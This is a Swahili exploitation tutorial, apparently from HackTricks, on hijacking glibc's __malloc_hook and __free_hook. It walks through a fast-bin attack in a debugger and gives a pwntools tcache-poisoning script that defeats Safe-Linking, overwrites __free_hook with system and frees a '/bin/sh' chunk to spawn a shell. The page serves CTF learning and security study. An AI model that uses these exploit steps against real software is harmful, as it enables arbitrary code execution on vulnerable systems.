# WWW2Exec - __malloc_hook & __free_hook {{#include ../../banners/hacktricks-training.md}} ## **Malloc Hook** Kama unavyoweza [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), variable **`__malloc_hook`** ni pointer inayotaja **anwani ya kazi itakayoitwa** kila wakati `malloc()` inapoitwa **iliyohifadhiwa katika sehemu ya data ya maktaba ya libc**. Hivyo, ikiwa anwani hii itabadilishwa na **One Gadget** kwa mfano na `malloc` inaitwa, **One Gadget itaitwa**. Ili kuita malloc inawezekana kusubiri programu iite au kwa **kuita `printf("%10000$c")`** ambayo inapata bytes nyingi sana ikifanya `libc` kuita malloc ili kuzigawa kwenye heap. Taarifa zaidi kuhusu One Gadget katika: {{#ref}} ../rop-return-oriented-programing/ret2lib/one-gadget.md {{#endref}} > [!WARNING] > Kumbuka kwamba hooks zime **zimemalizwa kwa GLIBC >= 2.34**. Kuna mbinu nyingine ambazo zinaweza kutumika kwenye toleo za kisasa za GLIBC. Tazama: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). ## Free Hook Hii ilitumiwa vibaya katika moja ya mifano kutoka kwenye ukurasa ikitumia shambulio la fast bin baada ya kutumia shambulio la unsorted bin: {{#ref}} ../libc-heap/unsorted-bin-attack.md {{#endref}} Inawezekana kupata anwani ya `__free_hook` ikiwa binary ina alama kwa kutumia amri ifuatayo: ```bash gef➤ p &__free_hook ``` [Katika posti](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) unaweza kupata mwongozo wa hatua kwa hatua juu ya jinsi ya kupata anwani ya free hook bila alama. Kwa muhtasari, katika kazi ya free:
gef➤  x/20i free
0xf75dedc0 : push   ebx
0xf75dedc1 : call   0xf768f625
0xf75dedc6 : add    ebx,0x14323a
0xf75dedcc :  sub    esp,0x8
0xf75dedcf :  mov    eax,DWORD PTR [ebx-0x98]
0xf75dedd5 :  mov    ecx,DWORD PTR [esp+0x10]
0xf75dedd9 :  mov    eax,DWORD PTR [eax]--- BREAK HERE
0xf75deddb :  test   eax,eax ;<
0xf75deddd :  jne    0xf75dee50 
Katika kuvunja kunakotajwa katika msimbo uliotangulia, katika `$eax` kutakuwa na anwani ya free hook. Sasa **shambulio la fast bin** linafanywa: - Kwanza kabisa, inagundulika kuwa inawezekana kufanya kazi na fast **chunks za ukubwa 200** katika eneo la **`__free_hook`**: -
gef➤  p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
0x7ff1e9e6074f: 0x0000000000000000      0x0000000000000200
0x7ff1e9e6075f: 0x0000000000000000      0x0000000000000000
0x7ff1e9e6076f :      0x0000000000000000      0x0000000000000000
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
- Ikiwa tutafanikiwa kupata chunk ya haraka ya ukubwa 0x200 katika eneo hili, itakuwa inawezekana kubadilisha kiashiria cha kazi ambacho kitatekelezwa - Kwa hili, chunk mpya ya ukubwa `0xfc` inaundwa na kazi iliyounganishwa inaitwa kwa kiashiria hicho mara mbili, kwa njia hii tunapata kiashiria kwa chunk iliyofutwa ya ukubwa `0xfc*2 = 0x1f8` katika fast bin. - Kisha, kazi ya kuhariri inaitwa katika chunk hii kubadilisha anwani ya **`fd`** ya fast bin hii ili kuelekeza kwenye kazi ya awali ya **`__free_hook`**. - Kisha, chunk yenye ukubwa `0x1f8` inaundwa ili kupata kutoka kwa fast bin chunk isiyo na matumizi ya awali ili chunk nyingine ya ukubwa `0x1f8` iundwe ili kupata chunk ya fast bin katika **`__free_hook`** ambayo imeandikwa tena na anwani ya kazi ya **`system`**. - Na hatimaye, chunk inayoshikilia mfuatano wa `/bin/sh\x00` inafutwa kwa kuita kazi ya kufuta, ikichochea kazi ya **`__free_hook`** ambayo inaelekeza kwa system na `/bin/sh\x00` kama parameter. --- ## Tcache poisoning & Safe-Linking (glibc 2.32 – 2.33) glibc 2.32 ilianzisha **Safe-Linking** – ukaguzi wa uaminifu unaolinda orodha za *single*-linked zinazotumiwa na **tcache** na fast-bins. Badala ya kuhifadhi kiashiria cha mbele cha moja kwa moja (`fd`), ptmalloc sasa inahifadhi *iliyofichwa* kwa kutumia macro ifuatayo: ```c #define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr)) #define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr) ``` Matokeo ya unyakuzi: 1. **heap leak** ni lazima – mshambuliaji lazima ajue thamani ya wakati wa `chunk_addr >> 12` ili kuunda kiashiria kilichofichwa halali. 2. Ni lazima tu kiashiria kamili cha 8-byte kiandikwe; uandishi wa sehemu ya byte moja hautapita ukaguzi. Primitive ndogo ya tcache-poisoning inayoweza kuandika `__free_hook` kwenye glibc 2.32/2.33 kwa hivyo inaonekana kama: ```py from pwn import * libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") p = process("./vuln") # 1. Leak a heap pointer (e.g. via UAF or show-after-free) heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00")) heap_base = heap_leak & ~0xfff fd_key = heap_base >> 12 # value used by PROTECT_PTR log.success(f"heap @ {hex(heap_base)}") # 2. Prepare two same-size chunks and double-free one of them a = malloc(0x48) b = malloc(0x48) free(a) free(b) free(a) # tcache double-free ⇒ poisoning primitive # 3. Forge obfuscated fd that points to __free_hook free_hook = libc.sym['__free_hook'] poison = free_hook ^ fd_key edit(a, p64(poison)) # overwrite fd of tcache entry # 4. Two mallocs: the second one returns a pointer to __free_hook malloc(0x48) # returns chunk a c = malloc(0x48) # returns chunk @ __free_hook edit(c, p64(libc.sym['system'])) # 5. Trigger bin_sh = malloc(0x48) edit(bin_sh, b"/bin/sh\x00") free(bin_sh) ``` The snippet above was adapted from recent CTF challenges such as *UIUCTF 2024 – «Rusty Pointers»* and *openECSC 2023 – «Babyheap G»*, both of which relied on Safe-Linking bypasses to overwrite `__free_hook`. --- ## Nini kilichobadilika katika glibc ≥ 2.34? Kuanza na **glibc 2.34 (Agosti 2021)**, nyongeza za allocation `__malloc_hook`, `__realloc_hook`, `__memalign_hook` na `__free_hook` ziliondolewa kutoka API ya umma na hazitumiwi tena na allocator. Alama za ulinganifu bado zinatolewa kwa binaries za urithi, lakini kuandika tena hazihusishi tena mtiririko wa udhibiti wa `malloc()` au `free()`. Mwanzo wa vitendo: katika usambazaji wa kisasa (Ubuntu 22.04+, Fedora 35+, Debian 12, nk.) lazima ubadilishe kwenda kwenye *mifumo mingine* ya hijack (IO-FILE, `__run_exit_handlers`, vtable spraying, nk.) kwa sababu kuandika tena hook kutashindwa kimya. Ikiwa bado unahitaji tabia ya zamani kwa ajili ya ufuatiliaji, glibc inatoa `libc_malloc_debug.so` ambayo inaweza kupakuliwa kabla ili kurejesha hooks za urithi – lakini maktaba hii **haiwezi kutumika kwa uzalishaji na inaweza kutoweka katika toleo zijazo**. --- ## Marejeleo - [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) - [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). - Safe-Linking – Kuondoa primitive ya exploit ya malloc() ya miaka 20 (Check Point Research, 2020) - glibc 2.34 notes za kutolewa – kuondolewa kwa malloc hooks {{#include ../../banners/hacktricks-training.md}}